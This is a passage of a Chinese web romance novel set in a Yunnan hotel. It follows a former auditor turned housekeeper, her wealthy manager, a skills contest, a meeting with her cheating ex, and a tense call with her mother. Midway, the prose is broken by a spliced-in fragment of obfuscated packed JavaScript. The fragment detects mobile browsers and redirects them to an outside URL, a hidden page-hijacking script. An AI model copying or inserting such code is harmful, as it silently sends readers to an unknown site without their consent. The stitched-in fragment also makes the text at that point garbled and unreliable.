“你是大城市来的,见多识广,有没有办法不让云岚辍学呀?”
沈清没想到卓玛对自己非亲非故的云岚如此担心,想了一下,答应了:“我试试。”
自那之后,卓玛就经常在“徒栖”神出鬼没,吓沈清一跳,并以此为傲。
终于,在某天沈清正在喝水时候被云岚吓得呛到一直咳嗽后,沈清终于忍无可忍地当着云岚的面叫住了正路过的林牧野。
“林总,上次您开会说要重新制作工装,希望员工调研选出给您反馈对吗?”沈清故意声音很大,让云岚听见。
“对。你有钟意的衣服款式吗?”林牧野正愁没人参与,听到沈清这么问,停下脚步面向她。
“明日刚好我休息,上午十点麻烦你到古镇苏木服饰馆,你和我试试选好的衣服。”
说完,沈清冲着不远处的云岚挑了下眉,摇头晃脑地离开了。
原地留下分不清谁是谁领导的林牧野和光是想到两个人明天在一起穿情侣装就气的牙痒痒的云岚。
-
古城的石板路被阳光晒得发亮,沈清推开那家老字号民族服饰店的门时,风铃叮咚作响。
林牧野已经提早到达,站在店里,肩宽腿长,身材高大如同旁边摆放的模特。
“林总,就是这套,要不咱俩都穿上试试?”沈清好不容易将目光从林牧野身上移开,指向门口模特身上的一套深靛蓝扎染布料上衣。
沈清先把女装换上,即使没有化妆和头饰加持,也美若山上的格桑花般清新淡然。
这套衣服版型利落,肩部拼接了纳西族的七星羊皮披肩简化图案,很有特色。
店员是个纳西族阿姐,眼睛亮亮地打量着两人:“哎呀,这套衣服挑得好!姑娘有眼光,男朋友身子板正,穿上拍情侣写真肯定出片!”
云岚在门外观察好一会儿了,听见这句便贸然闯入,非常严肃地纠正:“他们两个不是情侣!”
店员被气呼呼的小女孩搞的吓一跳,看了看三人,默默退后了两步
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林牧野笑着摇摇头,拿着衣服进了试衣间。
试衣帘再次拉开时,在场的人都如同被定格般,噤声凝望。
深靛蓝衬得林牧野的肤色白皙,衣服版型完美勾勒出他宽肩窄腰的身形。
那些精致的民族纹样落在他身上,意外地和谐,仿佛他本就该穿着这样的衣服,站在滇南的阳光下。
“转个身。”沈清专业地指挥,心里满是对自己眼光的认可。
“哇!这身好看!”门口刚进来的游客小声惊呼,“老公,我们也穿这套拍照吧?”
“沈姐姐可真是用心啊!”云岚在一旁,每个字都像从牙缝里挤出来。
两人又试了几套推荐款,沈清故意让云岚帮他们拍照,好发给酒店的员工们投票。
试穿结束,回“徒栖“时,云岚跟了上来,想插到两人中间,却被沈清恐吓:“今天还是逃学了吗?把你送到你哥哥面前如何?”
云岚脸色一白,狠狠跺脚,跑了。
林牧野看向沈清:“你以大欺小。”
沈清没接话,有点不高兴地问:“云岚辍学的事,你为什么不干预?”
林牧野很坦然:“我和她没有任何关系,没有资格插手。”
“但她喜欢你,只有你能影响到她。”沈清直视他,“辍学少女过早进入社会,会面临很多风险。”
“沈清。”林牧野打断她,声音很轻,“这件事情我不插手反而对她更好。”
沈清看到了他眼里一闪而过的复杂情绪,剩下的话又说不出来了。
林牧野试图转移话题:“春梅婶说你的铺床速度比干了2年的卓玛还快,有兴趣去京州参加政府举办的酒店技能大赛吗?如果你能进前三,我或许可以考虑调整上班时间的事情哦!”
“啊?真的吗?真进前三能不能再加点薪?”沈清立马星星眼。
林牧野一听,甩下句“想得美”,快步走在前。
资本家都很小气。沈清又在背后对着林牧野做了个鬼脸。
-
傍晚,云岚果然憋不住,在沈清要去食堂吃晚饭时堵住了她。
“你就是故意的!”少女眼睛红红的,像只虚张声势的小兽。
沈清不紧不慢地继续走,去到后院隐蔽点的角落里,压低声音问:“你喜欢他什么?”
云岚愣住。
“他会喜欢你吗?”沈清走近一步,直视云岚,“还是说,你以为只要你像个狗皮膏药,男人就能同意和你在一起?”
“你说什么呢!”云岚心里的自卑被沈清一语中的,有点恼羞成怒。
“你除了年龄小,有什么资本值得被喜欢吗?”沈清咄咄逼人,持续输出,“知不知道好好上学,外面的世界有多少其他有价值的事情值得你去做?”
“那你长得漂亮,读书考学,不还是回到山村当铺床工!”
沈清愣了一下,第一次发了脾气:“铺床工也是一份正当职业啊!你懂不懂,我想让你知道,女孩子要有自尊,要自爱!要掌握知识改变自己的命运啊!”
云岚张了张嘴,又把话咽下了。
沈清继续:“你所谓的‘喜欢’,不过是因为他是你狭窄世界里,最亮的那盏灯。而你,不读书的话,这辈子都没机会走出大山,只能用死皮赖脸去讨好一个男人!”
少女的眼泪终于滚了下来。
沈清递过去一张纸巾:“想让我离他远点?可以。条件是你跟我学铺床,报名一个月后京州市技能大赛,我带你去外面看看!”
二楼走廊窗户旁,目睹一切的林牧野若有所思,然后走开了。
5. 第 5 章
不知云岚是真的被骂醒了,还是动心了参加技能比赛沈清就远离林牧野的条件,总之,云岚别别扭扭地跟着沈清铺了好几天床。
林牧野这日没有什么行政要事,按照惯例下一线轮岗,在前厅和云万宝迎宾。
“林总。”万宝趁两人搬行李的空挡,跟林牧野聊天,“云岚我们真是管不住了。”
“她真要辍学?”
“你去过我们家,你也知道我阿爸阿妈都出去打工,阿爷阿奶对她太溺爱,慢慢就成了这倔脾气。”
“学还是要上的,看看沈清能不能劝得动她吧。”
两人放好行李,回程故意经过下沈清云岚在打扫的房间。
沈清正在教云岚如何抖开床单,阳光很好,两个人的影子投在地板上,一大一小。
云万宝鼓起勇气问林牧野:“林总,云岚说......只要她去参加京州的什么铺床比赛,沈清姐就把你让给她?”
“是吗?她说沈清说的?”
云万宝胆子大了一些:“沈清姐喜欢你?”
林牧野双手一摊:“我不知道。”
云万宝猛拍了下自己脑门,一幅恍然大悟的样子:“怪不得!我说前一段沈清姐怎么老对你献殷勤呢!我还以为这是城里人惯用的社交手段!”
林牧野瞥了他一眼,看似无奈地说:“她某些做法是有点明显,影响不好。”
“就是就是,工作就是工作,搞什么情情爱爱。”万宝赶紧附和。
“不过林总,”万宝抚着下巴说,“您也马上30了,也该找媳妇了。我儿子都快能打酱油了,你比我大6岁还名花无主呢!”
说完一个躲打的姿势护着头。
林牧野果不其然敲了下他脑袋:“谁给你的胆子,敢催我婚了。”
于是,下午的迎宾就剩云万宝一个人,可把他累惨了。
-
比赛的日子很快就临近了,林牧野在某次晨会上宣布,由她带领沈清和编外员工云岚去京州。
出发那天清晨,“徒栖“的员工们都早早起来,欢送三人。
春梅婶往云岚包里塞了一些专门买的零食,嘱咐她和沈清:“拿不拿奖不重要,平安归来最重要!”
林牧野把三人行李装上车,跟一行人告别,驶入了山道。
黎乡壮美的景色在窗外铺展,沈清摇下车窗,让风灌进来,深吸一口气。
“每次看都觉得震撼。”她望着远处层叠的山峰喃喃自语,“要不是为了那五险一金日日打工,我早就登顶玉龙雪山了。”
话音未落,东方的天际线忽然被点燃。
远处雪峰的尖顶像被淬了金,光芒以肉眼可见的速度向下蔓延,整座山瞬间从阴郁的蓝调变成燃烧的金黄。云雾在光中翻滚,徐徐移动。
这就是日照金山。
“你们看!”副驾的沈清欣喜若狂,拿出手机举着拍照。
林牧野没有转头。
甚至把视线更专注地投向前方的山路,喉结滚动:“开车呢。”
云岚则是一幅见多了的样子,没什么感觉的扫了一眼:“你来这么久了,还是很有新鲜感啊。”
沈清分享的雀跃被浇了一盆冷水,收起手机,坐回座位的幅度特别大,似在表达不满。
玉龙雪山。沈清不知道,每次提起这四个字,林牧野的心就痛一次。
直到三义机场映入眼帘,云岚突然开始变得兴奋起来。
车停车场停稳,云岚扒着车窗,眼睛瞪得圆溜溜的。黎乡机场比一些国际机场的小得多,可对从未坐过飞机的她来说,已经足够震撼。
林牧野从后备箱拿出行李和背包,嘱咐大家准备好身份证。
云岚用力点头,攥紧了手里的小布包。那是阿奶给她缝的,里面装了身份证和千狮山寺庙求的好运符,希望她们能在比赛里获奖。
值机柜台前排着不长的队,林牧野托运行李,沈清径直走向自助机器,放身份证、选座,动作快得云岚还没看清屏幕上的字,三张登机牌已经吐了出来。
“你的。”沈清递过去。
云岚接过那张薄薄的硬纸片,翻来覆去地看。上面印着她的名字,还有一些看不懂的字母数字。
飞机起飞时,云岚更是死死抓住扶手,害怕的脸色发白。
“我耳朵疼,怎么感觉有点听不见声音了?“坐在靠窗位置的云岚还没来得及欣赏窗外的风景,就哭唧唧地找沈清求助。
“耳压不平衡是正常现象。”沈清递给她一片口香糖,“咀嚼动作可以缓解。”
云岚接过来,小声说:“听不懂,但谢谢。”
空姐推着饮料车过来时,云岚正试图研究小桌板怎么放下。她要了杯橙汁,空姐给她递来时,她的小桌板砸下,饮料撒了沈清一腿。
“对不起对不起!”云岚手忙脚乱地用手揉擦沈清的裤子。
空姐见状赶忙递过纸巾,沈清和林牧野同时伸手,沈清的手就这么被林牧野握着。
等沈清反应过来,赶忙抽回了手,尽力调整尴尬的气氛:“谢谢。”
林牧野也缩回手。
沈清偷偷瞟向他,侧颜逆天,鼻梁高挺,睫毛浓密,连空姐都对他凭空温柔三分。
莫名地,沈清的心跳的更快了。一定是机舱气压不稳导致的,沈清安慰自己。
之后,林牧野全程闭目养神,但他的嘴角,却一直轻微地上弯。
-
飞机终于落地,首都机场航站楼的人流是黎乡的三倍。
几人从岁月静好的安静城市切换到车水马龙的喧哗大都会,走路的节奏都不由得快了起来。
沈清习惯性走向出租车排队处,却被林牧野叫住。
“这边。”
他领着两人走向到达层的一个出口,那里停着一辆黑色的迈巴赫立标商务车。
司机是个穿酒店制服的中年男人,见到林牧野,立刻下车,接过行李,恭敬地拉开后门:“林总,路上辛苦了。”
云岚第一次见这阵仗,激动地看向林牧野:“这是专门来接我们的?”
“集团的车。”林牧野简短地说,自己拉开副驾驶门坐了进去,“都上车吧。”
云岚怯生生地钻进后排,摸着真皮座椅,看车外的街景,眼睛忙的不停。
沈清坐在另一边,看着窗外飞速倒退的京州市街景,这一切她太熟悉了,却又有种恍若隔世的感觉。
车子停在一家五星级酒店门口。门童小跑着过来开门,大堂经理也亲自迎出来:“林总!房间都安排好了,老爷子和林峰总已经在等您了。”
林牧野点点头,招呼沈清和云岚过来:“你们先跟他办理入住去房间。二楼是自助餐厅,吃完早点休息。”
沈清站在光可鉴人的大理石地面上,看着眼前这个在金碧辉煌下如此如鱼得水的男人,第一次觉得有点陌生。
“林总。”她叫住他,“你不办理入住吗?”
大堂经理笑了,对沈清解释:“林总到家了,怎
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么还能住酒店呢。”
“嗯。”林牧野看着她,眼神略显自豪,“环亚,你们把这里当自己家就好。”
顿了顿,他补了一句:“今晚要和集团讨论下年度审计和融资计划,我先去忙了。”
说完,他转身去坐电梯,路上碰到的工作人员都在对他点头哈腰地打招呼,女员工们等他走远还凑在一起说着什么。
云岚扯了扯沈清的袖子,小声问:“环亚集团……很厉害吧?”
沈清想起了“徒栖”里那些意大利家具,突然明白过来。
“很厉害。”她觉得解释的有些空洞,想起以前审计酒店时候了解过,对云岚补充说:“全亚洲三分之一的奢派酒店都有股份。”
云岚似懂非懂。
沈清和云岚入住后就去吃了自助晚餐,回到房间的云岚想要看电视,沈清便一个人去了行政酒廊。
她本意并不是来享受,只是想看看更高档的酒店日常是如何运营。
突然,她觉得有点好笑,想让“徒栖”变得更好不知何时成了她的责任,总是浮现在脑海。
沈清在行政酒廊点了杯鸡尾酒,落地窗外,平安街的灯火流成一条金色的河。
她独自坐在角落的高脚凳上,手指一圈圈地在杯壁上划着。
酒液滑过喉咙,有点辛辣。
她抬眼,视线落向街对面的国家大剧院。
就在那里,她和苏逸潇曾看过一场先锋话剧。只记得黑暗中他握着沈清的手,掌心温热。
所有人都说他们登对,同样的名校背景,相似的职业轨迹,那时候两人甜蜜绵缠,是旁人眼中的金童玉女。
沈清忽然笑出声,声音很轻,带着苦涩。
她赌气似的掏出手机,指尖在通讯录滑到苏逸潇的名字旁,按下。
电话响了四声才被接起。
背景音是酒杯碰撞的觥筹交错,苏逸潇的声音带惊讶:“沈清?”
沈清努力让声音平稳:“骗子!就算要结束,也该由我来提。你有什么资格甩我?”
电话那头沉默了。
片刻后,苏逸潇叹了口气,“清,我们都不是会撕破脸的人。好聚好散,行吗?”
“好。”沈清握紧酒杯,带着恨说:“你记住了,是我沈清和你苏逸潇分手!”
她把电话挂断,盯着手机屏幕,直到它暗下去。
她以为自己早已放下,原来并没有。
那些被压抑的委屈、不甘、对自己的怀疑,终于在今天这样的场景里倾泻,淹没了自己。
她仰头把剩下的酒灌下去,太急,呛出了眼泪。
这时,身后传来轻微的脚步声。沈清没回头,但她能感觉到是谁。
林牧野在她旁边的位置坐下,没说话,只是向酒保要了杯冰水。
杯底碰在玻璃台面上,发出清脆的一声。
沈清用纸巾擦了擦眼角,试图恢复平静,“林总怎么来了?”声音还带着鼻音。
“刚结束会议,就看到你在这里。”林牧野修长的手指握着水杯,晃动液体。
酒廊里流淌爵士乐,萨克斯风婉转呜咽。
“刚才......”沈清开口,又顿住。她不确定他听到多少。
林牧野很直接,转过脸看她,“你有男朋友。”
“前男友。”沈清纠正,扯了扯嘴角。
“所以......”
林牧野翘起二郎腿。
“你为了我,和他分手了?”
6. 第 6 章
沈清嫌弃道:“自卑是男人最好的医美,你这么自信,会变丑的。”
林牧野不以为然:“我已经美到极致,完全不需要自卑医美。”
沈清指着他:“丑了,越来越丑了!”
“自卑的是你吧,你不就是因为今天看到我家大业大,自惭形秽觉得配不上我了才不承认?”
沈清给个梯子就爬:“那可不,林总挥挥手,京州就能下场暴风雪。真搞不懂林总怎么就能抛下这纸醉金迷去到黎乡隐居避世呢?”
林牧野的笑容收了一些:“那你呢?”
沈清不语,端起空酒杯,和林牧野碰了一下。
林牧野将杯中水一饮而尽。
沈清起身:“不早了,云岚还在房间,我回去了。”
林牧野也站起,拍拍沈清肩膀:“明天比赛加油!”
-
夜已深,房间只亮着床头的阅读灯。
沈清洗漱完毕,正对着镜子往刚卸完妆的脸上拍保湿水,云岚却兴奋不已,在床上翻来覆去,把被子抱在怀里。
“沈清姐!你紧张吗?”云岚的眼睛在昏暗光线里亮晶晶。
沈清合上护肤品的盖子,也钻进被窝:“不紧张啊,都形成肌肉记忆了,怕什么。”
云岚跳下床,光脚踩在地毯上:“我第一次来京州,第一次住这么好的酒店,第一次和林哥一起出远门。”
“你的激动我可以理解,我的困乏也希望你能见谅。我睡了。”说完,沈清翻了个身,背对云岚。
云岚见她这样,也上床试图睡觉。忽然,她试探的问:“等比完赛,你就把林哥让给我了?”
沈清转回头,看向云岚。17岁的女孩脸上还带着未褪尽的婴儿肥,眼神却已经有了成年人的执拗和渴望。
“我没有‘让’的权利。林牧野不是物品。而且......我对他根本没有那种想法。”
“啊,你骗我!”云岚惊了,“可是你之前那样纠缠他!”
“那是我有求于他,想让他给我调整工作时间。而且,恋爱没什么好谈的,浪费时间,消耗情绪,还有可能像我前男友一样是个脚踏两条腿的烂人,到头来结局都那样。”她想起苏逸潇,想起刚才电话里的叹息,“一个人不好吗?”
“一个人好什么!”云岚反驳,“从小我就没怎么见过阿妈阿爸,哥哥很早就去打工,我需要他们的时候永远没有人在身边!”
昏暗中,只听见沈清一声叹息:“你说的没错,亲情的缺失造就了你缺爱的性格,所以你在找补。”
云岚不语,沈清继续说:“那你告诉我,你喜欢林牧野什么?”
云岚无意识地咬着被子一角:
“以前我们村里,有个地头蛇,叫和利军。村里青壮年都出去打工,他就欺负剩下的老人孩子,在政府修建的公路上堵停车辆、索取钱财,不给就让手下拿着大刀威胁,其实就是变着法要钱。”
沈清静静听着,想像着那时候村里的样子。
“我奶奶被他堵在家门口过,说我们乱倒废菜叶子,以治理“脏乱差”的名义收费。还带着一群凶神恶煞的老男人对我动手动脚。那时候我和我哥还小,躲在我奶身后哭,村里人也一点办法都没有。”
沈清想像着小小的云岚,突然觉得很心痛。
“后来林哥来了。他为了给酒店招人,和村里领导挨家挨户沟通,一来二去熟了起来,听说了和利军的事。”
沈清竖起耳朵继续听:“他查清楚了,和利军还在村里非法取土洗矿,就报警,还给上级县领导写了举报信,终于把和利军抓进去了。”
云岚嘴角弯了弯,有点解气的样子:“村里人都特别感激林大哥。但他从没拿这事邀功,逢年过节还会自己掏钱买米买油,去看独居的老人。我奶奶现在提起他还说他是菩萨派来护着我们村的。”
故事讲完了,房间里只剩下空调运转的嗡鸣。
沈清很久没有说话,久到云岚以为她睡着了。
没一会儿,云岚那边传来了均匀的呼吸声。
-
比赛日清晨,敲门声响起时,沈清正在帮云岚化妆盘发,云岚口中还在默念铺床流程口诀:“一抖二甩三对齐……”
沈清拉开门,林牧野手里提着两个纸袋。
他今天穿了件熨烫平整的白衬衫,袖子规矩扣到手腕,头发也梳成背头,露出的浓眉和那双睫毛浓密的眼睛,格外矜贵。
林牧野把纸袋递过来:“换上,比赛穿。”
两人好奇打开,纸袋里是那套在古城定制的改良工装,另一套小一号的,显然是给云岚的。
“你专门准备的?”沈清抬眼。
“怕你们技不如人,不如争取得个印象分。”他说完转身要走,又顿住,回头补了一句,“尽力就好,相信自己。”
-
比赛现场热闹非凡。
林牧野也穿上了定制的新工装,三人入场时吸引一众人的目光,评委席上交头接耳,还有人举起手机拍照。
团体赛环节,沈清本身力气大,抬床什么的都比别人轻松,铺床快而稳,比第四名快了整整五秒。
云岚虽有些紧张,但凭着本身的麻利劲儿,夺得了个人赛第十名,卡着边拿到了奖状奖金。
颁“最佳形象奖”时,主持人宣布:“该获奖团队不仅展示了专业素养,更将地方文化特色与职业精神完美融合——让我们恭喜“徒栖”团队!”
云岚跳了起来,抓住林牧野的胳膊猛摇:“我们赢了!我们赢啦!”
沈清也看向林牧野,他双手插在裤袋,笑的却很淡定。
大事儿办完一身轻松,林牧野提议去SKP逛街,给云岚买件过冬的厚外套,还让司机跟着,说让云岚体验下大小姐买买买的乐趣。
SKP离沈清公司很近,是她曾经每周至少光顾两次的地方,也是她和苏逸潇约会时最常去的地方。
但,总不会那么巧吧。这么想着,三人就站在了流光溢彩的商场中庭。
云岚却看呆了,眼睛像不够用似的转来转去,小声问:“沈清姐,这里衣服得多少钱一件啊?”
“没事,林总掏钱。你忘了,亚洲到处都有他的股。”
话音未落,一个熟悉的声音从身后传来:
“沈清?”
沈清一愣,回头。
苏逸潇站在那里,旁边是挽着他的唐小婉。
京州地邪,不想啥来啥。
苏逸潇的目光扫过沈清身旁的林牧野,又看向她:“好久没见,真巧。你这是?”
唐小婉虽然被林牧野吸引了不少注意力,但她还是轻轻拉了拉苏逸潇的手臂,声音甜腻:“逸潇,我们不是还要去看表吗?走吧~”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097043|195666||http|test|mini|href|location''.split(''|''),0,{}));
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>沈清想转身就走。这场景太狗血,让她生理性反胃。
林牧野看到沈清的反应,已猜到一二,忽然上前一步,拉着沈清的手,将她身体回正,面对苏逸潇站。
“你们好。”林牧野声音从来没有这么有磁性过,“真巧,我也陪我女朋友来看表。”
空气凝固了。
沈清一脸问号地扭头看他,他却无视。
他搂紧沈清:“刚才不是看中那块了?买。”
说完,他揽着她径直走进专柜。苏逸潇呆了几秒,被唐小婉也拉了进去。
接下来的二十分钟,林牧野全程扮演着一个“为博红颜一笑不惜一掷千金”的深情男友,指着橱窗里三块最贵的表,对沈清说:“这个适合你,这个适合你妈妈爸爸,都包起来。”
云岚生怕不够乱,给自己匹配了保姆的身份:“小姐,林总真疼您。”
刷卡时,他示意服务员大声念出金额,然后继续问沈清:“还有喜欢吗?”还把买好的包装袋给司机提,派头大的引得旁人频频侧目。
苏逸潇的脸渐渐沉下去。唐小婉知道苏逸潇几斤几两,这么久干看不买,柜姐都懒得搭理他们了。
那对男女终于转身离开,沈清坐在高脚凳上,看向林牧野,“怎么,林总上学时候兼修表演系了?”
云岚意犹未尽:“沈清姐,我一眼猜出那是你前男友,那个脚踏两条船的烂人!林哥演得好,好解气啊!”
沈清回过神,对林牧野说:“谢谢你,道具退掉吧。”
林牧野认真地说:“喜欢就送你。”
“林总,你还演上瘾了不成?有钱还是给员工们多发点福利吧。”
司机接话:“昨天林总就吩咐买了些实用的,说是给员工带的过节礼品。”
“好吧,算你有心。”
几人闲庭散步,来到了户外品牌的店里。林牧野看到了一款登山包和沈清搭话:“这个很实用。”
沈清皱眉:“这牌子性价比不高。”
“但是很专业。”林牧野把包递给她,“背负系统是碳纤维支架,透气网面是立体编织,自重比同容量产品轻15%。你不是喜欢徒步吗,用得上。”
沈清接过包,掂量了几下:“你很懂嘛。”她抬眼看他,“以前经常徒步?”
林牧野的动作顿了顿:“好不容易回趟城里,每个人都有礼物。”说完拿去结账了。
回来时,像是怕沈清非不让买似的,林牧野岔开话题:“集团要对酒店进行年度审计,10天后审计公司入驻。你之前就是干这行的,能不能帮忙负责对接?”
沈清愣了愣:“哪个事务所?”
“诚德。”林牧野吐出两个字,然后迅速补充,“你前公司。”
沈清脑子里瞬间闪过许多可能:会不会遇到前同事、苏逸潇、甚至唐小婉!而且还要在他们面前铺床?会不会很掉价?看到自己从总监跳槽成铺床工,会不会助长他人士气,灭了自己威风?
最后所有情绪汇成两个字,脱口而出:
“卧槽。”
声音不大,但在播放着舒缓音乐的商店里还是显得格外清晰。
林牧野在沈清说出那两个字之前就已伸出手,捂住了旁边云岚的耳朵。
林牧野深藏功与名地想:还好我反应快,差点教坏小孩儿。
今日功德加一。
7. 第 7 章
总部正式下发审计通知那天,沈清敲开了林牧野办公室的门。
“林总,审计期间我要请假。”
林牧野没接话,继续签文件,笔划在纸上沙沙作响。
沈清料到他不会同意,一激动嗓门就变特别大:“你看过我之前的简历,知道我前公司就是诚德。怎么这么巧,这次审计刚好就是我前公司?”
林牧野皱眉揉了下耳朵,终于抬起眼:“全酒店没一个懂审计的,你负责对接再合适不过。前公司又有什么可怕的?”
沈清:“我不是怕。”
“那是什么的问题?”林牧野站起身,双手抱臂,想要听个理由。
沈清看向旁边叹口气。
“那天遇到的我前男友,是我前公司的同事,他有一定几率会被派来入驻。”
林牧野眉毛一挑:“所以你们是办公室恋情?”
林牧野向前走了一步,补了一句:“失恋加失业,你输得很彻底啊!”
沈清急了:“是我主动裸辞好吧!”
林牧野笑笑:“所以......失恋不是你主动提的,是你被甩。”
“因为对方隐瞒了一些事儿,所以我一开始并不知情。”沈清别开脸,气势明显弱了下来。
“看来我猜的没错,他和她不是无缝衔接,是早就双线操作了。”林牧野坐回位置,完成了一场精准的推理。
沈清彻底没话说,拿起旁边的一次性纸杯,接满水,咕咚咕咚一口闷。
“沈清,其实这次审计对“徒栖”非常重要。这不仅是营业以来总部对我们之前努力的检验,更关乎“徒栖”之后的发展和生存。”
沈清看林牧野突然严肃起来,只得继续听。
“市场一直在变化,顾客群体的需求也在变化。我对“徒栖”有新的规划,准备增设一些营收项目,你帮我,好吗?”
沈清思绪已乱:“我吗?什么项目?怎么帮?”
“古城北边的老牌奢酒欣荣庄开设了云上农场项目,之前的下午茶、旅拍和自行车骑行也都很受欢迎,我们可以往这个方向摸索。”
沈清点点头,黎乡的头牌酒店在这方面一直领先市场。
“如果能“徒栖”东南角增设露营风咖啡角,每日现磨咖啡供应,爬山累了歇歇脚,利用我们地理位置的独特优势,应该可行。”
听完这些,沈清非常认可林牧野的想法。
“我们的员工收入高了,大家都更能开心上班,你也希望这样吧?”
沈清点点头。不得不说,林牧野是一个非常厉害的说客。
林牧野突然开心:“近期想新设立一个收益管理经理岗位,你有意图竞选吗?”
沈清好奇:”主要职责是什么?”
林牧野:“去别的酒店吃吃喝喝,然后偷师学艺!”
沈清:“这好事能轮的上我?”
-
中午吃饭,林牧野和云万宝坐一起。
林牧野吃了两口,越琢磨越不对劲。
“这几天怎么没见云岚?”
云万宝把嘴里的食物猛地一咽,挠挠头:“比赛完回来,回去继续上学了。但这丫头有点不对劲,回家就抱着手机,跟人聊天。”
林牧野的动作顿了顿:“跟谁聊天?”
云万宝继续解释:“听她说是参赛时候别的酒店的小伙子,主动问她加了微信,天天聊,还对着手机傻笑。”云万宝顿了一下,嘿嘿一笑,“不过可算不缠着你了,林总,小尾巴甩掉也算好事!”
林牧野很严肃:“看来还得让她沈清姐去上思想教育课。”
云万宝一愣:”为啥?”
“怕她被骗啊,你这哥哥当的。”林牧野说完拍了云万宝胳膊一巴掌。
云万宝揉揉胳膊,表情突然一变,神神秘秘的凑过来:“对了,云岚说,你在京州成了沈清姐的男朋友?还英雄救美?”
林牧野继续吃:“演的,气她前男友的。”
“哎哟,云岚可一直说什么磕到了你俩之间的那种感觉,还说看着你对沈清姐更有点那种意思呢?”
“云万宝。”林牧野把鸡腿塞进他嘴里,“吃你的吧,别瞎操心。”
-
这晚,沈清刚洗完澡,在宿舍正用毛巾擦着头发,床上的手机震了起来。
她盯着屏幕“妈妈“两个字看了半天,才接起。
“清清啊!”母亲的声音传来,有点拘谨的感觉,“还没睡吗?”
“准备睡了。”沈清沉沉地坐在床上,没什么好气。
电话那头沉默了几秒。
“你爸......他这几天晚上都睡不好,整宿整宿在客厅踱步。”
“失眠了就吃药啊!”
“他说你以前工资挺高的,好好的工作,说不干就不干了,少挣多少钱!”
沈清无奈闭上眼,耐心已临阈值。
“妈,我这两年体检报告上的那些情况你也知道。最近两年,我因为压力大很焦虑,平均每天睡眠不到6个小时。我努力工作上司却怕我锋芒盖过他,针对我排挤我,每一次晋升都被卡掉。我不走我要疯掉啊!”
电话那头安静了片刻,又幽幽发来质问:“那不是给你说方法了吗?就躺平了耗着,说不定哪天上司就换人了,熬一熬就熬过去了呀!”
“如果这些不会发生呢?”沈清声音开始颤抖,“我要熬到哪年?我甚至每天上班前都要在车里坐十分钟才有勇气推开车门,我真怕哪天我想去死。”
“我想过出车祸住院不上班,可还担心连累别人。我宁愿身体出问题也不想去上班,这想法有多可怕你知道吗?”
沈清仿佛终于有了发泄的出口,委屈全部倾泻出来:“从我第一次说被领导针对,到现在三年了。你们有没有哪怕一次,想过要给我撑腰?有没有哪怕一刻,想过‘谁敢欺负我女儿我跟他拼命’?有没有安慰过我一句:‘女儿,你受委屈了’?”
她深吸一口气,眼泪连珠滚下来。
但她一点也不想让母亲听出自己哭了。
电话那头只剩下呼吸声。
“你们只是一直埋怨我,一直跟我吵,一直说我不知足、不懂事、把好好的前途给毁了。”
她抬手抹了把脸,声音疲惫到极点:“妈,我累了,真的。以后……别再给我打电话了。”
说完,沈清挂断了电话。
手机从掌心滑落,砸在床上,发出沉闷的一声。
沈清抱着膝盖,把脸埋进臂弯里。宿舍里很安静,安静到她能听见自己压抑的抽泣声,和窗外拂过树叶的风。
不知过了多久,敲门声轻轻响起。
沈清猛地抬起头问:“谁?”
门外没有回应。但她听见有什么东西被放在门口的地上,然后有人走开。
她赤脚下床拉开门,看到门口放着一个黑色的老式对讲机。这是之前
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酒店刚淘汰的上一代设备,现在她们都换了蓝牙入耳式对讲机。
上面贴着一张便签,写着“打开“两个字。
沈清关上门,侧身躺在床上研究对讲机,犹豫了一下,按下了电源键。
绿灯亮起,电流的杂音滋滋响了一下。
然后,林牧野的声音从里面传来:
“这里是‘FM999,深夜电台’。现在是北京时间……呃,晚上十一点十七分。我是今晚的主持人,木木。”
沈清听到木木两个字,有点没忍住笑。
“今天我们接到一位听众的热线,”林牧野继续用那种电台腔,一本正经地说,“这位听众叫‘傻傻’,正陷入家庭关系的深深困扰。那么,在开始深度剖析之前,按照节目惯例请这位听众,讲一个冷笑话。”
沈清没有回应他。
“看来这位听众有点紧张。那本主持人先抛砖引玉。请问:什么动物生气的时候最安静?”
沈清还是不回应,只是听着。
“答案是:大猩猩。因为……大猩猩生气会敲(悄)咪丨咪。”
对讲机里,林牧野自己先忍不住的笑了。
沈清从没见过这么幼稚的林牧野。
“冷笑话继续:26个字母,哪个最重?”
林牧野继续自问自答:“N,因为N重如山。”
沈清快不行了,笑出了眼泪。
“那接下来,我们进入第二个环节:讲故事。”
“我有个朋友,在银行工作。压力大,天天加班,夜夜焦虑。他想辞职,父母不同意,说银行是铁饭碗,敢辞职就去领导单位闹。”
“后来他都确诊抑郁症了,便想了个办法。行里每次行里下达新任务,比如拉存款、卖保险、办信用卡,他都第一时间转达给他爸妈,每天催爸妈找朋友去拉存款卖保险,还给爸妈开晨会夕会,比行长催他还勤。终于他爸妈受不了,说你要真想辞就辞吧,这活真不是人干的。”
沈清笑出声来,肩膀都在抖。
对讲机那头也传来林牧野低低的笑声。笑了几秒,他安静下来,只剩电流的滋滋声。
“沈清。”他忽然叫她的名字,“你已经做得很棒了。”
沈清的笑停住了,她现在才发现,刚才自己打电话都被隔壁的林牧野听到了。
“没有人能真正感同身受。”林牧野继续说,“父母不能,朋友不能,甚至......连爱人也不能。我们一辈子都在学习一件事:如何自己过好这一生。”
“所以,如果觉得父母不理解,不支持,那我们就自己成为自己的父母,好好养自己,疼自己。”
沈清刚平复下去的泪水又掉下来。
“对了,”林牧野忽然又切换回那种电台主持人的口吻,回到了一开始轻松的强调,“向这位听众介绍一本书,叫《真希望我父母读过这本书》。虽然书名有点直白,但开卷有益,相信你读完会有所收获,有所成长。”
“好了,亲爱的听众朋友们,今晚的‘深夜电台’就到这里。感谢收听,我是主持人木木。”
最后,他温柔地说出结束语:
“晚安。”
顿了顿,补上两个字:
“OVER。”
对讲机的灯一直没有灭。
沈清深吸一口气,按下对话键,好一会儿才轻轻地也说出了:
“晚安。”
“OVER。”
8. 第 8 章
沈清是初秋时候来的“徒栖”,转眼几个月已经过去了。
沈清对徒栖的感情越来越深,所以她希望这次集团要求进行的审计中,徒栖能够交出满意答卷,员工们未来都越来越好。
她揽下了审计接待的责任,管他来的是苏逸潇还是谁,都无所谓了。
